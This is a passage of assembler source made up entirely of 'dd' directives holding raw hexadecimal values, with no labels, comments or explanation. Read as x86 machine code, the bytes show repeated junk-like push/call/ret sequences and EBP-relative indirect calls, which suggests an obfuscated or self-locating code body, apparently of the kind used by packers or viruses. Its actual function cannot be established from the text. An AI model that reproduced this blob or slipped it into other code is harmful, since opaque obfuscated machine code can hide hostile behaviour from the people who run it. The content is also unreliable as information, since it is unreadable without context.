5F91899h, 5BD78177h dd 686FC31Ch, 0F397A8A3h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 4EC35040h, 0F48A8A62h, 2109B5FFh, 0B70F05F9h dd 6A858DF8h, 105F93Ah, 0F92E79B5h, 8BD0FF05h, 0CD8589F8h dd 8B05F90Dh, 0F9198DBDh, 9985C605h, 4705F918h, 14F99589h dd 9D8905F9h, 5F916D9h, 28FAF668h, 0FDB9F587h, 0FF10460Eh dd 0F92719B5h, 51006A05h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 19EAC323h, 9062DC5h, 0F90005BDh dd 6A858D05h, 8B05F93Ah, 0F92945BDh, 0DD9D0105h, 0FF05F904h dd 718589D0h, 0FC05F901h, 13E9h, 93661000h, 127E98C9h dd 92F0F99h, 0B648486Ah, 0AF8478E4h, 189985C6h, 6A4305F9h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 0FB57C355h, 23488D10h, 0F9102995h, 6890F05h dd 0F000000h, 82h, 0EF816600h, 0FC683F7Bh, 0FFBC8E6Eh dd 0F92719B5h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 57846075h, 0CA8BE817h dd 3A6A858Dh, 0D0FF05F9h, 8B665060h, 0BD2959F1h, 5F92825h dd 0C5858961h, 0F05F925h, 85C6D2B7h, 5F91899h, 0C2816645h dd 69682D4Ah, 8B8E7269h, 0F920798Dh, 19B5FF05h, 0F05F927h dd 281h, 8D86B200h, 0F93A6A85h, 0D7816605h, 0D0FF8098h dd 2079BD8Bh, 858905F9h, 5F90769h, 85C654B1h, 5F91899h dd 0EC646844h, 8166B8F2h, 0FFCE1DE9h, 0F92719B5h, 0FDBD8905h dd 8D05F90Fh, 0F93A6A85h, 7DBD8B05h, 8B05F90Fh, 0F9103995h dd 1D0FF05h, 0F93301BDh, 6D858905h, 5305F927h, 98E28166h dd 85C65AE0h, 5F91899h, 56006A43h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 0B967000Bh, 0B5FFBDEh dd 764AA768h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 0CDA16FA8h, 0FFAD80E8h, 0F92719B5h dd 8DD38B05h, 0F93A6A85h, 0DB58905h, 0FF05F908h, 0DD8589D0h dd 8005F921h, 0FC416BBDh, 840F0005h, 0BFh, 2889B529h, 0C18105F9h dd 2CDFD65Eh, 414D858Dh, 0BD8905FCh, 5F91241h, 0B1D28050h dd 0E960016Ah, 7, 692F6F36h, 89ABE4F7h, 0F914C1BDh, 6A6105h dd 0B5B58960h, 0BE05F900h, 3C4506C5h, 0FF006A61h, 0F92B1595h dd 12E905h, 299D0000h, 7D573ABDh, 1CDCDDEFh, 22B05C1Bh dd 0D4106CA5h, 0E118589h, 8B5205F9h, 0F90019BDh, 0FF6A5A05h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 34C35545h dd 8E8F8DEh, 67000000h, 18CA6C37h, 8B0C7097h, 0B5FF5FF8h dd 5F90E11h, 6E7CBA66h, 91195FFh, 6E805F9h, 5000000h, 628A6FABh dd 0FE42BAEEh, 8B59143Ah, 0D1BD33C0h, 8305F927h, 0F931C9BDh dd 9750005h, 12B5BD83h, 740005F9h, 8B535019h, 7D1B8C0h dd 85890000h, 5F928E9h, 0F3849D8Dh, 0D3FF05FBh, 0BD83585Bh dd 5F912B5h, 50177400h, 7D1B853h, 85890000h, 5F928E9h dd 0F0739D8Dh, 0D3FF05FBh, 31F8585Bh, 0F924ADB5h, 0E9C08B05h dd 9, 8EAC4235h, 564C3747h, 9830F7Dh, 60000000h, 259D89F8h dd 6105F921h, 189985C6h, 664705F9h, 3DF1EF81h, 0C8F7C168h dd 0ADB58993h, 0FF05F912h, 0F92719B5h, 89C88B05h, 0F90F6D9Dh dd 6A858D05h, 6605F93Ah, 0D0FFF98Bh, 97DA8166h, 0F88B5024h dd 458E858Dh, 0F6005FCh, 82h, 0F78B6600h, 9400C761h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 6685C353h, 0DE8h, 644B7F00h, 0A08EDCDh, 0F80EB566h dd 0BF664770h, 585A46ACh, 931B589h dd 0B58D05F9h, 5FC458Eh, 3840Fh, 0BF0F0000h, 0F18156D7h dd 0AB2FD37h, 0B70FD0FFh, 8E858DCEh, 8B05FC45h, 0F904C9BDh dd 4788305h, 18850F06h, 0F000000h, 588h, 0EC55B900h, 85C75084h dd 5FC4622h, 1, 83F8CB8Ah, 0F90AE1BDh, 850F0005h, 58h dd 34458D0Bh, 0BD8305F9h, 5FC4622h, 45850F00h, 33000000h dd 0F924B195h, 81BD8305h, 5F915h, 32840Fh, 0C7F80000h dd 0F90C6985h, 5, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 0F2D38964h, 9D896D66h dd 5F90555h, 6ADB8C66h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 8669C350h, 0FAA690E5h dd 0E869CD28h, 5, 97926708h, 0C58D8B8Ah, 5F05F90Dh, 0F04C3F6h dd 62A84h, 5950F900h, 178585C7h, 5F9h, 14E90000h, 0F7000000h dd 2E29EC5Ah, 7D7F2AB7h, 0F0310587h, 54FC81C8h, 8008FA86h dd 0FC4178BDh, 850F0005h, 6, 28A5BD23h, 85C605F9h, 5F91899h dd 50006A47h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 0B359090Ch, 6E8B7196h, 0BE9h, 8B9DC700h dd 2CD0DAAAh, 0F0634425h, 0E45B8668h, 38E0FE3h, 0F000000h dd 0B5FFFFB7h, 5F92719h, 15890Fh, 10E90000h, 44000000h dd 9A38EBC9h, 4A072A2Fh, 5CCD6D93h, 8DBC68A2h, 0F93A6A85h dd 0FFFBB105h, 51006AD0h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 7E28A566h, 1046822h, 958B0000h dd 5F91F81h, 1E018D8Bh, 9D8D05F9h, 5F90E3Dh, 11558D01h dd 12E805F9h, 25000000h, 36B94FABh, 2A40C054h, 108923D2h dd 63B0236Bh, 535AF93Ch, 12E9h, 24283B00h, 5C7405F0h, 97A2655Bh dd 0E62CBBDAh, 0FF3B0F65h, 5D8D8BD0h, 6605F911h, 0D943F781h dd 0E3D858Dh, 6A05F9h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 9E604FC3h, 1DE7A2D5h, 1DF61EBFh dd 0BDBD8B5Bh, 5005F927h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 38C35545h, 71A32C26h, 0F59E76Eh, 858DF8BFh dd 5FC412Ah, 0DE8h, 66C22900h, 8878A87Dh, 55CE827Eh, 2BB1C781h dd 858D5059h, 5FC37FDh, 1A899529h, 0F5005F9h, 280h, 0FFF48A00h dd 0F90DCD95h, 0CA816605h, 0C48322EFh, 52BF660Ch, 68006AAEh dd 80h, 6A036Ah, 68006Ah, 8D800000h, 0FC37FD85h, 95FF5005h dd 5F925C5h, 410D8589h, 85C605FCh, 5F91899h, 5E876847h dd 0B5FFC7B1h, 5F92719h, 3A6A858Dh, 0D0FF05F9h, 0B5FF006Ah dd 5FC410Dh, 6657D0FFh, 3E41EA81h, 0D6B70F5Fh, 37D03Dh dd 22830F00h, 0BA000000h, 691511D5h, 410DB5FFh, 0BD8B05FCh dd 5F910DDh, 21DD95FFh, 958B05F9h, 5F91F8Dh, 0CDE9h, 0DB5FF00h dd 6605FC41h, 8410EA81h, 21DD95FFh, 6A05F9h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0F93EAC3h dd 0F89h, 9E800h, 83EC0000h, 22D84564h, 5AF8133Dh, 4D71BF66h dd 6A006Ah, 6E9h, 7AD03800h, 6AA18243h, 0E6DCBF00h, 6A28F8h dd 6A9EB5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 94C35040h, 800F006Ah, 5, 584B41BFh, 11858D2Bh dd 8B05FC41h, 0F929F1BDh, 50C88B05h, 4ADBD89h, 95FF05F9h dd 5F925C5h, 1AE9BD8Bh, 0F88305F9h, 0A8850FFFh, 0E9000001h dd 12h, 4652D2Ah, 3C7ABB08h, 0C05149ADh, 0E7433527h, 858DFA94h dd 5FBFC9Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 5FC35343h, 0BD898C08h, 5F92755h, 0BD8BD0FFh, 5F90461h dd 0BD0B006Ah, 5F90425h, 8D8B006Ah, 5F90175h, 128E0Fh dd 0DE90000h, 68000000h, 334C0292h, 548EFBE5h, 0D65E8858h dd 8D89006Ah, 5F918EDh, 958B006Ah, 5F90785h, 9D73BA60h dd 0B58B67A3h, 5F92695h, 6A006A61h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0D7D5C355h dd 5E5E00CCh, 8B668AACh, 80006AC8h, 858D0DDAh, 5FC4111h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 91C35141h dd 83F18156h, 5F02CEE5h, 8D896050h, 5F90FA5h, 14E8h, 0E5921D00h dd 0A5825F24h, 12ECB50Ch, 3CC75F8Fh, 0C2CC59E8h, 8F0FEBh dd 5A000000h, 0C595FF61h, 8B05F925h, 0F901158Dh, 0FFF88305h dd 85850Fh, 0B4600000h, 0B5BD8B2Bh, 6105F905h, 3B19B58Dh dd 8B0F05FCh, 6, 18C9BD8Bh, 858D05F9h, 5FBE74Eh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 90C35141h, 0AB4B84D4h dd 8B9797C5h, 66D0FFF9h, 6AFE8Bh, 1599BD23h, 95FF05F9h dd 5F90769h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 7C35141h, 0A50F6F16h, 958BEBB7h, 5F91485h, 89D18B66h dd 0FC410D85h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 0ED7F1A41h, 9B03F0F2h dd 860F9BDBh, 4, 7183BA66h, 13E8h, 0A78BA00h, 5CC20F76h dd 54491669h, 382E90FDh, 0F1C1FFC7h, 59D08B66h, 858D006Ah dd 5FC4105h, 50D2CA80h, 0A8F0Fh, 8B600000h, 0F92849BDh dd 61616005h, 8C0F046Ah, 3, 8DD7B70Fh, 0F9056985h, 50006A05h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 88696636h, 6A50C9B9h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 8AECC356h, 6A006Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 27168FC3h, 0E9668A3Bh, 10h, 0BCA62A4Ch, 1F546308h, 5601845Ah dd 7F269DD8h, 840F006Ah, 19h, 14E9h, 0C95BD000h, 0DB0A6730h dd 895A02C8h, 9BD9EF39h, 0AD790CA9h, 66016AA4h, 0C845C981h dd 410DB5FFh, 8B6005FCh, 8E8CAh, 2E990000h, 0EC8A99E7h dd 615ACD79h, 276D95FFh, 6A05F9h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 0B282BAC3h, 423107F7h dd 76E93550h, 6A00001Ch, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 8205C356h, 84663BC3h dd 8B44748Dh, 1820FC0h, 0F9000000h, 31C9BD83h, 750005F9h dd 0B5BD8309h, 5F912h, 53501974h, 0D2B8C08Bh, 89000007h dd 0F928E985h, 849D8D05h, 0FF05FBF3h, 83585BD3h, 0F912B5BDh dd 17740005h, 0D2B85350h, 89000007h, 0F928E985h, 739D8D05h dd 0FF05FBF0h, 0E8585BD3h, 7, 6B91DB79h, 0E85C5392h, 12h dd 32E518A8h, 840EEA2h, 89412687h, 3846ABB6h, 0A1BA582Fh dd 59201EDDh, 898D8B5Ah, 6A05F912h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 8D6EC351h dd 8D8B3A46h, 5F91125h, 10E9C08Bh, 99000000h, 897D61A6h dd 613E81FAh, 0B2802725h, 66432EFDh, 85C7F88Bh, 5F91785h dd 1, 0B850Fh, 6E90000h, 23000000h, 0C29E97C6h, 41852995h dd 6805F901h dd 0CEE4E7B8h, 0FC5B5FFh, 858D05F9h, 5F93A6Ah, 8589D0FFh dd 5F9294Dh, 4369858Dh, 8D5005FCh, 0FC462685h, 1685005h dd 0FF800000h, 0F9294D95h, 75C00B05h, 0A585C70Ah, 105F927h dd 68000000h, 0C005DBD4h, 0FC5B5FFh, 858D05F9h, 5F93A6Ah dd 8589D0FFh, 5F92AEDh, 35B6858Dh, 0FF5005FCh, 0F92719B5h dd 995FF05h, 0B05F915h, 8B0B74C0h, 69858DD8h, 5005FC45h dd 858DD3FFh, 5FC4569h, 9388366h, 85C70A75h, 5F92B51h dd 1, 17195FFh, 0FF2505F9h, 83000000h, 0A7305F8h, 257185C7h dd 105F9h, 0E7810000h, 46653CDEh, 8E8h, 87849000h, 623F18E2h dd 0A1958991h, 5A05F927h, 4178BD80h, 0F0005FCh, 3D84h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 0B6932555h, 0F83B7CDh, 686h, 38E78100h dd 830E1D99h, 0FC4622BDh, 840F0005h, 32h, 5AE995B6h, 6A00001Ah dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 4685C356h, 0C03821E2h, 5D704EC4h, 0F3B96652h dd 0BD835AA2h, 5F92B51h, 0CE850F00h, 80000000h, 858D83C2h dd 5FC4142h, 1219BD8Bh, 6A5005F9h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 9A50C356h dd 1B635D57h, 7BBA5F35h, 6A58EFE7h, 51BF6601h, 1006A41h dd 0F92BC19Dh, 0E8006A05h, 13h, 0B8F40002h, 3DBA858Fh dd 0F024283Bh, 5B5C7405h, 6097A265h, 8BF8E580h, 0FF5F61F1h dd 0F92B1595h, 899CB605h, 0FC416C85h, 28D0F05h, 0B6000000h dd 0E9FF6AC6h, 12h, 0C6E4244Ch, 7DD0B112h, 0CE43E6E2h dd 0B3EDE664h, 0B5FFDA6Ah, 5FC416Ch, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 0A3C35141h, 0F7B958F1h, 0FF3212A8h dd 0F9091195h, 9D295205h, 5F91095h, 7D858D59h, 0F05FC35h dd 0DE9D3BFh, 2000000h, 0AD27E80Ah, 0AC7CD2h, 3B42CA7Eh dd 8BDEB150h, 0F921058Dh, 0AD95FF05h, 6A05F92Dh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 0F7AEC351h, 3A247A13h, 0F8BA6648h, 0FC14BA5Ch, 858953F0h dd 5FC3607h, 28419D89h, 858D05F9h, 5FC358Ah, 0E67DF81h dd 60502BD1h, 1B2DBD8Bh, 9D8B05F9h, 5F90565h, 7B5FF61h dd 6605FC36h, 95FFD68Bh, 5F91509h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 0AEC35343h, 0A37FB0CFh, 0D147189Ah dd 16458D8Bh, 8B5705F9h, 0F93471BDh, 85895F05h, 5F92EB9h dd 14E960h, 9BD90000h, 0AD790CA9h, 72D4D6A4h, 341821C2h dd 4CB6E04Eh, 8D610C07h, 0FC35F885h, 799D8905h, 5005F927h dd 10BD8D23h, 0B5FF05F9h, 5FC3607h, 2125BD29h, 95FF05F9h dd 5F91509h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 9BC35343h, 20F7F5C1h, 0DD29FD8Fh, 0EE926h, 24A80000h dd 684BD370h, 0DAAB4ACFh, 149FF7h, 361B8589h, 0FC5105FCh dd 0D7858D5Fh, 6A05FC35h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 3033C353h, 0CFFE21h dd 0B954957Bh, 65DB589h, 816605F9h, 66C06CE7h, 504F51BFh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 12C35545h dd 697C6595h, 6DA8E781h, 0B5FF3C3Dh, 5FC3607h, 10E8h, 0A27D1000h dd 0DECB72FFh, 0BDC82CC5h, 89FD2F43h, 0DDBD037Ah, 5A05F926h dd 108D8D89h, 95FF05F9h, 5F91509h, 2E29958Bh, 858905F9h dd 5FC3613h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 8DC35040h, 8B9B1099h, 0F9241595h, 0CA858D05h, 6605FC35h dd 506967BAh, 0E9FFBF0Fh, 12h, 7B6CF6FBh, 3E72B861h, 7085CDECh dd 7DF90D8Ah, 0B5FF2C51h, 5FC3607h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 24C35545h, 658EFA34h, 0AE89E967h dd 150995FFh, 8D8B05F9h, 5F913B1h, 34399D89h, 858905F9h dd 5FC3617h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 0A8C35343h, 0E848D9AAh, 8, 0B03B65CAh, 2F2D74Bh dd 0DD18D8Bh, 8D5F05F9h, 0FC35E585h, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 9504987h, 0F929A195h dd 7B5FF05h, 6A05FC36h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 0B514C351h, 995FFBFh dd 8B05F915h, 0F9331D95h, 11E805h, 57A40000h, 5B302DB7h dd 135865E9h, 195FC125h, 8B2C63A0h, 85895AD3h, 5F932E1h dd 858DCB8Bh, 5FC3599h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 0FBC35545h, 8D25072Bh, 17619589h, 8B5005F9h dd 0F926858Dh, 7B5FF05h, 305FC36h, 0F9004195h, 0F18D8B05h dd 0FF05F913h, 0F9150995h, 0BE905h, 5C350000h, 8970DA4Ah dd 0FF3BDA17h, 0B8589D5h, 6005FC36h, 16698589h, 8D6105F9h dd 0FC35A885h, 50EC8A05h, 167DBD8Bh, 0B5FF05F9h, 5FC3607h dd 0AE860h, 57D50000h, 1DFEFF3Eh, 44830CEBh, 9E9h, 98FC2500h dd 0A66BA53Bh, 515E1053h, 6E9h, 0B0F41800h, 5E27222Ah dd 995FF61h, 6A05F915h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 51E0C350h, 85899219h dd 5FC360Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 8AC35747h, 0C9EEC281h, 60562384h, 1585BD89h, 952905F9h dd 5F9198Dh, 8D8B5A61h, 5F92B29h, 10468h, 11E900h, 9CEA0000h dd 5FF3A918h, 0FBBCE79Bh, 9D788C7h, 8920C422h, 0F9043D95h dd 9F858D05h, 905FC36h, 0F91E759Dh, 0E2815005h, 7BDE0941h dd 0A3858DF5h, 2305FC37h, 0F913A995h, 24B95005h, 0FF61F713h dd 0F9225995h, 0C8B0F05h, 0F000000h, 686h, 618D8B00h, 8505F904h dd 0F850FC0h, 89000000h, 0F90DC98Dh, 85896005h, 5F9081Dh dd 0BD8061FCh, 5FC4178h, 0E850F00h, 80000000h, 0A2E97CC6h dd 31000014h, 0F91F9D85h, 51BD8305h, 5F92Bh, 3C850Fh, 810F0000h dd 24h, 12E8h, 0B5407100h, 0F6F9B438h, 14BEFDC2h, 0DAC65C11h dd 0E9A5D704h, 7, 6F5DABC3h, 594538CCh, 4622BD83h, 0F0005FCh dd 3484h, 66CE8B00h, 858DCF8Bh, 5FC363Ch, 57EF8166h, 1443E962h dd 9D290000h, 5F91B2Dh, 20E9h, 0FE900h, 399A0000h, 392DF69Ah dd 0E486368Bh, 9FEE9B08h, 27858D45h, 8905FC36h, 0F90511BDh dd 6E95005h, 0A4000000h, 81AAA0CAh, 9F858D4Eh, 6605FC36h dd 0E292C781h, 51BD8350h, 5F92Bh, 23840Fh, 0BD8B0000h dd 5F9087Dh, 37C5858Dh, 8D2905FCh, 5F909ADh, 18E9h, 0F18D8B00h dd 8B05F917h, 0F90779BDh, 0AE858D05h, 8905FC37h, 0F9087D95h dd 0FA8B5005h, 37FD858Dh, 0BF0F05FCh, 8B6650C9h, 0CD95FFCAh dd 6A05F90Dh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 41BDC356h, 25E981F6h, 0E951A088h dd 0Ah, 0F05B2953h, 441EDF32h, 0C483A7E2h, 50006A10h, 3E8h dd 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 1325D5F3h dd 55F67260h, 8D29C08Bh, 5F928B9h, 31C9BD83h, 750005F9h dd 0B5BD8309h, 5F912h, 53501974h, 0D3B8C08Bh, 89000007h dd 0F928E985h, 849D8D05h, 0FF05FBF3h, 83585BD3h, 0F912B5BDh dd 17740005h, 0D3B85350h, 89000007h, 0F928E985h, 739D8D05h dd 0FF05FBF0h, 6A585BD3h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 8B17C352h, 0F904B995h dd 0D19D8905h, 8B05F914h, 80C7B6C0h, 0BD8199E1h, 5FC3627h dd 6165726Fh, 0C4840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 0FA0AA4C3h, 0B98D2984h dd 8D05F932h, 0FC369F85h, 858D5005h, 5FC37DCh, 0FD858D50h dd 5005FC37h, 0DCD95FFh, 0C48305F9h, 9985C60Ch, 4405F918h dd 0A3184F68h, 19B5FF96h, 8D05F927h, 0F93A6A85h, 8BD0FF05h dd 0FD858DD8h, 5005FC37h, 858DD3FFh, 5FC3627h, 9F858D50h dd 5005FC36h, 2B51BD83h, 740005F9h, 0C5858D08h, 0EB05FC37h dd 0AE858D06h, 5005FC37h, 37FD858Dh, 0FF5005FCh, 0F90DCD95h dd 10C48305h, 3405BD8Bh, 6A05F9h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 0B682D6C3h, 95FFC83Eh dd 5F90171h, 2505BD01h, 0FF2505F9h, 89000000h, 0F919B985h dd 5F88305h, 40830Fh, 89570000h, 0F90B55BDh, 85C75A05h dd 5F92571h, 1, 2CA5B531h, 12E805F9h, 0F1000000h, 0A03EDEC2h dd 1DF5C71Eh, 0D84269D0h, 525D54E9h, 858D5FDEh, 5FC365Bh dd 4AD4BA66h, 5BE9h, 0BD83FC00h, 5F92B51h, 47840F00h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 1B95C350h, 858DF977h, 5FC3686h, 11E9h, 3E54F400h dd 2D55C2DEh, 0C163A3D6h, 113154EDh, 0D18A6637h, 0BE9h dd 0A195BA00h, 858D01EAh, 5FC3668h, 369B8589h, 6A05FCh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 0A579D4C3h, 81692AF1h, 434A9AD1h, 51BD8349h, 5F92Bh dd 29850Fh, 0B5310000h, 5F90D9Dh, 4622BD83h, 0F0005FCh dd 3F84h, 11E900h, 962A0000h, 1611AE1Ah, 1F990281h, 0EC01FA09h dd 0E9ED75BEh, 10DDh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 15C35545h, 2EF20BD4h, 8A88C44Ah, 3B7E9h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 0C6DFEA31h, 13458D89h, 8E905F9h, 9F000000h dd 77081090h, 8BD20A6Ch, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 0F7D86039h, 0C9BD830Dh dd 5F931h, 0BD830975h, 5F912B5h, 50197400h, 0B8C08B53h dd 7D4h, 28E98589h, 9D8D05F9h, 5FBF384h, 585BD3FFh, 12B5BD83h dd 740005F9h, 0B8535017h, 7D4h, 28E98589h, 9D8D05F9h, 5FBF073h dd 585BD3FFh, 0F180C6B6h, 8BC08BFDh, 3F68D6h, 0F56000Fh dd 6A5FC8BFh, 6AB6B200h, 95FFF500h, 5F92EB9h, 0B3D18166h dd 0FC08586h, 685h, 0B1958B00h, 8905F914h, 0FC361F85h dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 0E9958B67h, 6A05F903h, 718D8B00h, 6A05F918h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 6A0B62h, 8E9h, 204E700h, 70CBFC3Eh, 0F006A10h dd 584h, 0EF816600h, 6A8CC7h, 5BD8956h, 5A05F928h, 37FD858Dh dd 840F05FCh, 3, 505AF851h, 5211B966h, 14E8h, 9F82D00h dd 2FB9C6DDh, 0D52D213h, 99FB4ED1h, 0B4E1BDC6h, 16A5A30h dd 26DD8D8Bh, 16A05F9h, 421950Bh, 16A05F9h, 0FF6831B1h dd 89000F01h, 0F9226595h, 51BD8305h, 5F92Bh, 1D840Fh, 958B0000h dd 5F92A51h, 367C858Dh, 8D8B05FCh, 5F919D1h, 12E9h, 0BDB58900h dd 8D05F926h, 0FC365285h, 0BD953305h, 5005F925h, 0F50CA8Bh dd 683h, 5952300h, 0FF05F919h, 0FC361FB5h, 0AD8D8905h dd 0FF05F914h, 0FC360B95h, 0BD235705h, 5F92EE5h, 0FC08559h dd 3685h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1B04h, 0C3514100h, 72879432h, 10931FA3h, 6759D89h, 68E905F9h dd 53000000h, 21FDB529h, 895F05F9h, 0FC362385h, 56006A05h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 58B12AE9h, 8B39A23Fh, 0F9156DBDh, 23B5FF05h, 0F05FC36h dd 80h, 0D9958B00h, 0FF05F900h, 0F932E195h, 0D1B70F05h dd 850FC085h, 0Fh, 6E9h, 0C0A36D00h, 66312039h, 6AA42EBFh dd 0E7816610h, 0BD83CB74h, 5F92B51h, 2B840F00h, 66000000h dd 8D7D55BFh, 0FC367C85h, 0B70F5005h, 9D895AC9h, 5F92BD1h dd 21E9h, 0B5958900h, 0E905F929h, 6, 7B820D5Dh, 858D32AFh dd 5FC3652h, 4860Fh, 0BA660000h, 0BA50B412h, 25FABA8Ch dd 32F1958Bh, 0B5FF05F9h, 5FC361Fh, 1795FFF8h, 8505FC36h dd 8850FC0h, 0F000000h, 289h, 89D4B200h, 0FC362385h, 0CEBF0F05h dd 0EA6A45B9h, 81006A44h, 9195B7C7h, 80006A5Fh, 0B5FF0CC1h dd 5FC3623h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 0C3C35747h, 0A0BA669Ah, 0F95FF94h, 8905FC36h, 0F9170185h dd 0F88B6605h, 850FC085h, 1Dh, 11E8h, 0A1D79000h, 82008065h dd 4D9AA630h, 0F37AE022h, 0BD2BB2E6h, 5F917ADh, 23B5FF59h dd 0E805FC36h, 0Ch, 0AC6320FBh, 0FDF5A719h, 4F628587h dd 0D5DBD29h, 0FF5905F9h, 0F932E195h, 0E1816605h, 0C0858062h dd 6850Fh, 958B0000h, 5F90631h, 9501006Ah, 5F90391h, 8068h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 0D46CA93Bh, 65FCC0C0h, 0F88B663Dh, 0BD09036Ah dd 5F91295h, 6AFC006Ah, 58D8900h, 6805F92Eh, 0C0000000h dd 8D9D2360h, 6605F915h, 613963BBh, 369BB5FFh, 12E905FCh dd 0BE000000h, 59F5EB04h, 56B66A17h, 0D7A8E2B7h, 0B57BE0A9h dd 0C595FF81h, 6605F925h, 693CD281h, 58E0Fh, 0B7BF0000h dd 831A38BDh, 850FFFF8h, 5FDh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 93C35343h, 6E242E04h, 0E86B0D1Ch dd 13h, 46FBDD1Ch, 3B4FDD08h, 0D31ED412h, 5425BC19h, 0F3C8A49h dd 188Bh, 12E800h, 0D0180000h, 0E86BD79Ah, 354A59BEh, 0CCED0968h dd 0C76190B6h, 0F605F5Fh, 0FF61C8BFh, 0FC410985h, 94BA6605h dd 9BD83CAh, 205FC41h, 4B5840Fh, 858D0000h, 5B243Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0D5C35646h, 0FF8BF08Ah dd 6F01CFE5h, 0BD8BD0FFh, 5F915D1h, 1E8E858Dh, 0D7BF005Bh dd 0FF5AB6A1h, 0C28166D0h, 0C08B87CDh, 0FC0EBA66h, 31C9BD83h dd 750005F9h, 0B5BD8309h, 5F912h, 53501974h, 0D8B8C08Bh dd 89000007h, 0F928E985h, 849D8D05h, 0FF05FBF3h, 83585BD3h dd 0F912B5BDh, 17740005h, 0D8B85350h, 89000007h dd 0F928E985h, 739D8D05h, 0FF05FBF0h, 52585BD3h, 8258589h dd 6A5A05F9h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 0E95DC350h, 0Bh, 0E619CDD8h, 11859448h dd 0BA19623h, 0F91E09BDh, 0F5C08B05h, 0F003F68h, 9E900h dd 0B2350000h, 3F9B1780h, 6AD5F50Fh, 0F9BD0100h, 6A05F90Ah dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 